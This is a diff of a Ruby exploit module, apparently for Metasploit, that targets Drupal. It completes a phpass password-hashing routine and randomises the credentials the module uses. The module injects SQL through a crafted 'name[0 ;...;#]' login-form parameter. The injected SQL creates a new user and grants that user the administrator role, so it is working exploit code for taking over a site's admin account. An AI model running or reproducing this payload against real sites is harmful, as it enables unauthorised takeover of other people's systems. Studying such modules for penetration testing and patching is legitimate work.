@@ -47,7 +47,8 @@ def initialize(info={})
47
47
48
48
register_advanced_options (
49
49
[
50
- OptString . new ( 'ADMIN_ROLE' , [ true , "The administrator role" , 'administrator' ] )
50
+ OptString . new ( 'ADMIN_ROLE' , [ true , "The administrator role" , 'administrator' ] ) ,
51
+ OptInt . new ( 'ITER' , [ true , "Hash iterations (2^ITER)" , 10 ] )
51
52
] , self . class )
52
53
end
53
54
@@ -59,52 +60,75 @@ def admin_role
59
60
datastore [ 'ADMIN_ROLE' ]
60
61
end
61
62
63
+ def iter
64
+ datastore [ 'ITER' ]
65
+ end
66
+
67
+ def itoa64
68
+ './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
69
+ end
70
+
71
+ # PHPs PHPASS base64 method
72
+ def phpass_encode64 ( input , count )
73
+ out = ''
74
+ cur = 0
75
+ while cur < count
76
+ value = input [ cur ] . ord
77
+ cur += 1
78
+ out << itoa64 [ value & 0x3f ]
79
+ if cur < count
80
+ value |= input [ cur ] . ord << 8
81
+ end
82
+ out << itoa64 [ ( value >> 6 ) & 0x3f ]
83
+ break if cur >= count
84
+ cur += 1
85
+
86
+ if cur < count
87
+ value |= input [ cur ] . ord << 16
88
+ end
89
+ out << itoa64 [ ( value >> 12 ) & 0x3f ]
90
+ break if cur >= count
91
+ cur += 1
92
+ out << itoa64 [ ( value >> 18 ) & 0x3f ]
93
+ end
94
+ out
95
+ end
96
+
62
97
def generate_password_hash ( pass )
63
98
# Syntax for MD5:
64
99
# $P$ = MD5
65
- # one char representing the hash iterations (min 7 iterations )
100
+ # one char representing the hash iterations (min 7)
66
101
# 8 chars salt
67
102
# MD5_raw(salt.pass) + iterations
68
- # MD5 base64 encoded and trimmed to 22 chars for md5
69
-
70
- # VALID md5 for salt 12345678 and password test
71
- #$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
72
-
73
- pass = 'test'
74
- iter = 10
75
- iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
76
- iter_char = iter_char_base [ iter ]
77
- #salt = Rex::Text.rand_text_alpha(8)
78
- salt = '12345678'
103
+ # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
104
+ iter_char = itoa64 [ iter ]
105
+ salt = Rex ::Text . rand_text_alpha ( 8 )
79
106
md5 = Rex ::Text . md5_raw ( "#{ salt } #{ pass } " )
80
- 1 . upto ( iter ) {
107
+ # convert iter from log2 to integer
108
+ iter_count = 2 **iter
109
+ 1 . upto ( iter_count ) {
81
110
md5 = Rex ::Text . md5_raw ( "#{ md5 } #{ pass } " )
82
111
}
83
- md5_base64 = Rex :: Text . encode_base64 ( md5 )
112
+ md5_base64 = phpass_encode64 ( md5 , md5 . length )
84
113
md5_stripped = md5_base64 [ 0 ...22 ]
85
114
pass = "$P$#{ iter_char } #{ salt } #{ md5_stripped } "
86
- #puts pass
115
+ vprint_debug ( " #{ peer } - password hash: #{ pass } " )
87
116
88
- # return hardcoded password test for now
89
- return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
117
+ return pass
90
118
end
91
119
92
120
def sql_insert_user ( user , pass )
93
- "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{ user } ', '#{ ( generate_password_hash ( pass ) ) } ', '#{ Rex ::Text . rand_text_alpha_lower ( 5 ) } @#{ Rex ::Text . rand_text_alpha_lower ( 5 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } ', 1 from users"
121
+ "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{ user } ', '#{ generate_password_hash ( pass ) } ', '#{ Rex ::Text . rand_text_alpha_lower ( 5 ) } @#{ Rex ::Text . rand_text_alpha_lower ( 5 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } ', 1 from users"
94
122
end
95
123
96
124
def sql_make_user_admin ( user )
97
- "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{ user } '), (select rid from role where name = '#{ admin_role } ')); "
125
+ "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{ user } '), (select rid from role where name = '#{ admin_role } '))"
98
126
end
99
127
100
128
def extract_form_ids ( content )
101
129
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/ >/
102
130
form_token = $1 if content =~ /name="form_token" value="(.+)" \/ >/
103
131
104
- unless form_token and form_build_id
105
- fail_with ( Failure ::Unknown , "Could not parse form tokens" )
106
- end
107
-
108
132
vprint_debug ( "#{ peer } - form_build_id: #{ form_build_id } " )
109
133
vprint_debug ( "#{ peer } - form_token: #{ form_token } " )
110
134
@@ -113,7 +137,6 @@ def extract_form_ids(content)
113
137
114
138
def exploit
115
139
116
- # TODO: Password hashing function
117
140
# TODO: Check if option admin_role exists via admin/people/permissions/roles
118
141
119
142
# call login page to extract tokens
@@ -136,9 +159,7 @@ def exploit
136
159
end
137
160
138
161
user = Rex ::Text . rand_text_alpha ( 10 )
139
- #pass = Rex::Text.rand_text_alpha(10)
140
- # TODO: hardcoded for now
141
- pass = 'test'
162
+ pass = Rex ::Text . rand_text_alpha ( 10 )
142
163
143
164
post = {
144
165
"name[0 ;#{ sql_insert_user ( user , pass ) } ; #{ sql_make_user_admin ( user ) } ; # ]" => Rex ::Text . rand_text_alpha ( 10 ) ,
0 commit comments